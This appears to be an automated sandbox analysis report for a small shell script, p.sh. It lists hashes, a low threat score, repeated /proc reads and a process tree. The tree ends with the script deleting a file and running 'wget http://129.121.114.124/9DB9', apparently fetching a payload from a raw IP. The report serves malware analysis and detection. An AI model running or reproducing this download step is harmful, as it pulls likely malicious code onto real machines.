df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a

Analysis

max time kernel
142s
max time network
144s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/06/2026, 04:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 830B
Sample260623-e2dh8saw5s
SHA256 df709c844a5be6aeaeaa6a585e73e2706883e170ee3880e923d4147db2d5596a
MD5 d129ff831bb3a7ffed1efdc4ed87d154
SHA1 8a9b6d390bcf3676ebbf5523ecb4ed94227fa3a7
SHA512 559a93e5eacfdb2871705a0677f8207e1cf68ec59f4e9a2e32a6611589ee3353e52d6552e39938e5214af450f956985ec095722eab6cb57b154179ef57f91b36
TLSH
T19801ABD68410A9204419DA1D22CB5150F440C3CF5A4B0F687F9C6E7EFBA8E14B026F85
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/p.sh
/tmp/p.sh
1⤵
PID:659
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:661
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/113/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/116/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/144/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/147/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/285/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/315/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/322/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/338/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/342/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/581/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/596/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/605/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/606/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/653/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/655/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/656/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/657/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/659/exe
  2⤵
  - Reads runtime system information
  PID:767
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/rm
  rm -rf 9DB9
  2⤵
  PID:778
- /usr/bin/wget
  wget http://129.121.114.124/9DB9
  2⤵
  PID:779

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads